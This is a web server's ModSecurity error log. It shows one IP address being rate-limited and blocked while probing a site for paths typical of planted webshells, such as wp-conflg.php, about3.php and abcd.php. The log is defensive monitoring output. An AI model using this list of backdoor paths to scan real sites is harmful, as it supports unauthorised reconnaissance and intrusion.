[Sun Dec 21 21:43:15.509216 2025] [:error] [pid 42755:tid 42772] [client 104.208.116.65:12121] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aUf5c-W0XvxgXMTJJbvaQQAAAU8"]
[Sun Dec 21 21:43:15.905363 2025] [:error] [pid 42755:tid 42780] [client 104.208.116.65:12160] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aUf5c-W0XvxgXMTJJbvaQwAAAVc"]
[Sun Dec 21 21:43:16.292286 2025] [:error] [pid 59158:tid 59161] [client 104.208.116.65:12252] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aUf5dI7NvyNF8ab5VgVM7wAAAME"]
[Sun Dec 21 21:43:16.640888 2025] [:error] [pid 59068:tid 59105] [client 104.208.116.65:12248] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aUf5dBmLyLqWUlrjwyeclwAAAEQ"]
[Sun Dec 21 21:43:16.915007 2025] [:error] [pid 59067:tid 59079] [client 104.208.116.65:33400] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aUf5dMtpsOP1NfIK_qJvhgAAAAU"]
[Sun Dec 21 21:43:17.197437 2025] [:error] [pid 59067:tid 59082] [client 104.208.116.65:34553] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aUf5dctpsOP1NfIK_qJvhwAAAAg"]
[Sun Dec 21 21:43:17.489130 2025] [:error] [pid 59068:tid 59103] [client 104.208.116.65:12151] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aUf5dRmLyLqWUlrjwyecmAAAAEI"]
[Sun Dec 21 21:43:17.739879 2025] [:error] [pid 42755:tid 42773] [client 104.208.116.65:12205] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aUf5deW0XvxgXMTJJbvaSgAAAVA"]
[Sun Dec 21 21:43:18.120019 2025] [:error] [pid 42755:tid 42775] [client 104.208.116.65:12203] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aUf5duW0XvxgXMTJJbvaTQAAAVI"]
[Sun Dec 21 21:43:18.491450 2025] [:error] [pid 42755:tid 42778] [client 104.208.116.65:12110] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aUf5duW0XvxgXMTJJbvaTgAAAVU"]
[Sun Dec 21 21:43:18.815919 2025] [:error] [pid 30183:tid 30195] [client 104.208.116.65:12096] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aUf5duCmP2zCzk_WZcUWTAAAAQo"]
[Sun Dec 21 21:43:19.195913 2025] [:error] [pid 42755:tid 42764] [client 104.208.116.65:33391] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aUf5d-W0XvxgXMTJJbvaTwAAAUc"]
[Sun Dec 21 21:43:19.568058 2025] [:error] [pid 59158:tid 59177] [client 104.208.116.65:12216] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aUf5d47NvyNF8ab5VgVM_gAAANE"]
[Sun Dec 21 21:43:19.950968 2025] [:error] [pid 30183:tid 30201] [client 104.208.116.65:12185] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aUf5d-CmP2zCzk_WZcUWTgAAARA"]
[Sun Dec 21 21:43:20.278015 2025] [:error] [pid 59158:tid 59172] [client 104.208.116.65:33392] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aUf5eI7NvyNF8ab5VgVNAAAAAMw"]
[Sun Dec 21 21:43:20.535373 2025] [:error] [pid 42755:tid 42779] [client 104.208.116.65:34523] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aUf5eOW0XvxgXMTJJbvaVAAAAVY"]
[Sun Dec 21 21:43:20.845284 2025] [:error] [pid 42755:tid 42766] [client 104.208.116.65:12274] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aUf5eOW0XvxgXMTJJbvaVgAAAUk"]
[Sun Dec 21 21:43:21.168466 2025] [:error] [pid 59068:tid 59124] [client 104.208.116.65:33382] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aUf5eRmLyLqWUlrjwyecmwAAAFc"]
[Sun Dec 21 21:43:21.504681 2025] [:error] [pid 42755:tid 42773] [client 104.208.116.65:12264] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aUf5eeW0XvxgXMTJJbvaVwAAAVA"]
[Sun Dec 21 21:43:21.836956 2025] [:error] [pid 42755:tid 42775] [client 104.208.116.65:12211] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aUf5eeW0XvxgXMTJJbvaWQAAAVI"]
[Sun Dec 21 21:43:22.125277 2025] [:error] [pid 59067:tid 59082] [client 104.208.116.65:33390] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aUf5estpsOP1NfIK_qJvjQAAAAg"]
[Sun Dec 21 21:43:22.400121 2025] [:error] [pid 42755:tid 42772] [client 104.208.116.65:12186] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aUf5euW0XvxgXMTJJbvaXgAAAU8"]
[Sun Dec 21 21:43:22.687129 2025] [:error] [pid 59068:tid 59116] [client 104.208.116.65:12145] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aUf5ehmLyLqWUlrjwyecnAAAAE8"]
[Sun Dec 21 21:43:23.010721 2025] [:error] [pid 59070:tid 59142] [client 104.208.116.65:12236] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aUf5e33dhXne9KX1kgJXjQAAAI4"]
[Sun Dec 21 21:43:23.404149 2025] [:error] [pid 30183:tid 30208] [client 104.208.116.65:12261] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aUf5e-CmP2zCzk_WZcUWUwAAARc"]
[Sun Dec 21 21:43:23.729125 2025] [:error] [pid 59067:tid 59089] [client 104.208.116.65:12207] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aUf5e8tpsOP1NfIK_qJvkAAAAA8"]
[Sun Dec 21 21:43:23.984415 2025] [:error] [pid 59158:tid 59183] [client 104.208.116.65:12127] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aUf5e47NvyNF8ab5VgVNBwAAANc"]
[Sun Dec 21 21:43:24.341931 2025] [:error] [pid 42755:tid 42762] [client 104.208.116.65:12246] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aUf5fOW0XvxgXMTJJbvaZAAAAUU"]
[Sun Dec 21 21:43:24.583951 2025] [:error] [pid 42755:tid 42775] [client 104.208.116.65:12214] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUf5fOW0XvxgXMTJJbvaZwAAAVI"]
[Sun Dec 21 21:43:24.883689 2025] [:error] [pid 59070:tid 59131] [client 104.208.116.65:12275] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUf5fH3dhXne9KX1kgJXkQAAAIM"]
[Sun Dec 21 21:43:25.178627 2025] [:error] [pid 59067:tid 59084] [client 104.208.116.65:33376] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUf5fctpsOP1NfIK_qJvlQAAAAo"]
[Sun Dec 21 21:43:25.437794 2025] [:error] [pid 59067:tid 59076] [client 104.208.116.65:12178] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aUf5fctpsOP1NfIK_qJvlgAAAAI"]
[Sun Dec 21 21:43:25.852925 2025] [:error] [pid 59070:tid 59139] [client 104.208.116.65:12223] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aUf5fX3dhXne9KX1kgJXmAAAAIs"]
[Sun Dec 21 21:43:26.182792 2025] [:error] [pid 59158:tid 59174] [client 104.208.116.65:12204] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aUf5fo7NvyNF8ab5VgVNCgAAAM4"]
[Sun Dec 21 21:43:26.431378 2025] [:error] [pid 59158:tid 59163] [client 104.208.116.65:12167] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aUf5fo7NvyNF8ab5VgVNDwAAAMM"]
[Sun Dec 21 21:43:26.834993 2025] [:error] [pid 42755:tid 42774] [client 104.208.116.65:12101] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aUf5fuW0XvxgXMTJJbvaagAAAVE"]
[Sun Dec 21 21:43:27.340032 2025] [:error] [pid 42755:tid 42761] [client 104.208.116.65:12206] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about3.php"] [unique_id "aUf5f-W0XvxgXMTJJbvaawAAAUQ"]
[Sun Dec 21 21:43:27.739820 2025] [:error] [pid 59158:tid 59184] [client 104.208.116.65:12217] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about3.php"] [unique_id "aUf5f47NvyNF8ab5VgVNFAAAANg"]
[Sun Dec 21 21:43:28.080586 2025] [:error] [pid 59067:tid 59093] [client 104.208.116.65:34547] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about3.php"] [unique_id "aUf5gMtpsOP1NfIK_qJvmgAAABM"]
[Sun Dec 21 21:43:28.526358 2025] [:error] [pid 42755:tid 42762] [client 104.208.116.65:12120] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about3.php"] [unique_id "aUf5gOW0XvxgXMTJJbvabwAAAUU"]
[Sun Dec 21 21:43:28.787529 2025] [:error] [pid 59068:tid 59101] [client 104.208.116.65:12158] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aUf5gBmLyLqWUlrjwyecoQAAAEA"]
[Sun Dec 21 21:43:29.082731 2025] [:error] [pid 42755:tid 42778] [client 104.208.116.65:12157] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aUf5geW0XvxgXMTJJbvacQAAAVU"]
[Sun Dec 21 21:43:29.368372 2025] [:error] [pid 42755:tid 42777] [client 104.208.116.65:34499] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aUf5geW0XvxgXMTJJbvacgAAAVQ"]
[Sun Dec 21 21:43:29.695521 2025] [:error] [pid 59068:tid 59114] [client 104.208.116.65:34506] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aUf5gRmLyLqWUlrjwyecowAAAE0"]
[Sun Dec 21 21:43:30.267854 2025] [:error] [pid 59068:tid 59111] [client 104.208.116.65:33386] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUf5ghmLyLqWUlrjwyecpQAAAEo"]
[Sun Dec 21 21:43:30.537957 2025] [:error] [pid 59158:tid 59162] [client 104.208.116.65:12153] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUf5go7NvyNF8ab5VgVNGQAAAMI"]
[Sun Dec 21 21:43:30.787802 2025] [:error] [pid 30183:tid 30198] [client 104.208.116.65:12273] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUf5guCmP2zCzk_WZcUWZwAAAQ0"]
[Sun Dec 21 21:43:31.025513 2025] [:error] [pid 42755:tid 42779] [client 104.208.116.65:12168] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUf5g-W0XvxgXMTJJbvadQAAAVY"]
[Sun Dec 21 21:43:31.378012 2025] [:error] [pid 59158:tid 59174] [client 104.208.116.65:12190] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aUf5g47NvyNF8ab5VgVNHAAAAM4"]
[Sun Dec 21 21:43:31.674007 2025] [:error] [pid 30183:tid 30209] [client 104.208.116.65:34540] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aUf5g-CmP2zCzk_WZcUWbAAAARg"]
[Sun Dec 21 21:43:32.142649 2025] [:error] [pid 30183:tid 30195] [client 104.208.116.65:34524] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aUf5hOCmP2zCzk_WZcUWbQAAAQo"]
[Sun Dec 21 21:43:32.468026 2025] [:error] [pid 42755:tid 42765] [client 104.208.116.65:12209] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aUf5hOW0XvxgXMTJJbvaewAAAUg"]
[Sun Dec 21 21:43:32.714513 2025] [:error] [pid 30183:tid 30193] [client 104.208.116.65:12194] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aUf5hOCmP2zCzk_WZcUWbwAAAQg"]
[Sun Dec 21 21:43:32.989831 2025] [:error] [pid 59070:tid 59136] [client 104.208.116.65:12112] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aUf5hH3dhXne9KX1kgJXowAAAIg"]
[Sun Dec 21 21:43:33.286963 2025] [:error] [pid 30183:tid 30190] [client 104.208.116.65:12156] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aUf5heCmP2zCzk_WZcUWcwAAAQU"]
